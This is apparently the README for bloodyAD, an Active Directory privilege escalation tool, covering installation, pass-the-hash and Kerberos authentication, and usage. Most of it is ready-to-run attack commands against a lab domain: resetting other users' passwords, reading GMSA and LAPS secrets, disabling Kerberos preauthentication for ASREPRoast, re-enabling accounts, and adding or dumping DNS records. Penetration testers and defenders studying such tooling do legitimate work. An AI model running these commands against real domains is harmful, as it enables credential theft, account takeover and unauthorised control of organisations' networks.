⚠️ autobloody has been moved to its own repo
bloodyAD.py is an Active Directory privilege escalation swiss army knife
This tool can perform specific LDAP/SAMR calls to a domain controller in order to perform AD privesc.
bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc.
It is designed to be used transparently with a SOCKS proxy.
First if you run it on Linux, you must have libkrb5-dev installed on your OS in order for kerberos to work:
# Debian/Ubuntu/Kali
apt-get install libkrb5-dev
# Centos/RHEL
yum install krb5-devel
# Fedora
dnf install krb5-devel
# Arch Linux
pacman -S krb5A python package is available:
pip install bloodyAD
bloodyAD --host 172.16.1.15 -d bloody.local -k set password john.doe 'Password123!'Or you can clone the repo:
git clone --depth 1 https://github.com/CravateRouge/bloodyAD
pip install .
bloodyAD --host 172.16.1.15 -d bloody.local -k set password john.doe 'Password123!'- Python 3
- DSinternals
- Impacket
- Ldap3
- Gssapi (linux) or Winkerberos (Windows)
Simple usage:
bloodyAD --host 172.16.1.15 -d bloody.local -u jane.doe -p :70016778cb0524c799ac25b439bd6a31 set password john.doe 'Password123!'Note: You can find more examples on https://cravaterouge.github.io/ and in the documentation folder of this project
List of all available functions:
usage: bloodyAD.py [-h] [-d DOMAIN] [-u USERNAME] [-p PASSWORD] [-k] [-c CERTIFICATE] [-s] [--host HOST] [-v {QUIET,INFO,DEBUG}] {add,get,remove,set} ...
AD Privesc Swiss Army Knife
options:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Domain used for NTLM authentication
-u USERNAME, --username USERNAME
Username used for NTLM authentication
-p PASSWORD, --password PASSWORD
Cleartext password or LMHASH:NTHASH for NTLM authentication
-k, --kerberos
-c CERTIFICATE, --certificate CERTIFICATE
Certificate authentication, e.g: "path/to/key:path/to/cert"
-s, --secure Try to use LDAP over TLS aka LDAPS (default is LDAP)
--host HOST Hostname or IP of the DC (ex: my.dc.local or 172.16.1.3)
-v {QUIET,INFO,DEBUG}, --verbose {QUIET,INFO,DEBUG}
Adjust output verbosity
Commands:
{add,get,remove,set}
add [ADD] function category
get [GET] function category
remove [REMOVE] function category
set [SET] function categoryHelp text to use a specific function:
[bloodyAD]$ bloodyAD --host 172.16.1.15 -d bloody.local -u jane.doe -p :70016778cb0524c799ac25b439bd6a31 set password -h
usage: bloodyAD.py set password [-h] [--oldpass OLDPASS] target newpass
positional arguments:
target sAMAccountName, DN, GUID or SID of the target
newpass new password for the target
options:
-h, --help show this help message and exit
--oldpass OLDPASS old password of the target, mandatory if you don't have "change password" permission on the target (default: None)bloodyAD communicates with a DC using mainly the LDAP protocol in order to get information or add/modify/delete AD objects. Exchange of sensitive information such as passwords without LDAPS are now supported.
# Get group members
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 get object Users --attr member
# Get minimum password length policy
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 get object 'DC=bloody,DC=local' --attr minPwdLength
# Get AD functional level
bloodyAD -u Administrator -d bloody -p Password512! --host 192.168.10.2 get object 'DC=bloody,DC=local' --attr msDS-Behavior-Version
# Get all users of the domain
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 get children 'DC=bloody,DC=local' --type user
# Get all computers of the domain
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 get children 'DC=bloody,DC=local' --type computer
# Get all containers of the domain
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 get children 'DC=bloody,DC=local' --type container
# Enable DONT_REQ_PREAUTH for ASREPRoast
bloodyAD -u Administrator -d bloody -p Password512! --host 192.168.10.2 add uac john.doe DONT_REQ_PREAUTH
# Disable ACCOUNTDISABLE
bloodyAD -u Administrator -d bloody -p Password512! --host 192.168.10.2 remove uac john.doe ACCOUNTDISABLE
# Get UserAccountControl flags
bloodyAD -u Administrator -d bloody -p Password512! --host 192.168.10.2 get object john.doe --attr userAccountControl
# Read GMSA account password
bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 get object 'gmsaAccount$' --attr msDS-ManagedPassword
# Read LAPS password
bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 get object 'COMPUTER$' --attr ms-Mcs-AdmPwd
# Read quota for adding computer objects to domain
bloodyAD -u john.doe -d bloody -p Password512! --host 192.168.10.2 get object 'DC=bloody,DC=local' --attr ms-DS-MachineAccountQuota
# Add a new DNS entry
bloodyAD -u stan.dard -p Password123! -d bloody.local --host 192.168.10.2 add dnsRecord my_machine_name 192.168.10.48
# Remove a DNS entry
bloodyAD -u stan.dard -p Password123! -d bloody.local --host 192.168.10.2 remove dnsRecord my_machine_name 192.168.10.48
# Get AD DNS records
bloodyAD -u stan.dard -p Password123! -d bloody.local --host 192.168.10.2 get dnsDump
- Thanks to impacket contributors. Structures and several LDAP attacks are based on their work.
- Thanks to @PowerShellMafia team (PowerView.ps1) and their work on AD which inspired this tool.
- Thanks to @dirkjanm (adidnsdump.py) and (@Kevin-Robertson)(Invoke-DNSUpdate.ps1) for their work on AD DNS which inspired DNS functionnalities.
- Thanks to @p0dalirius and his pydsinternals module which helped to build the shadow credential attack
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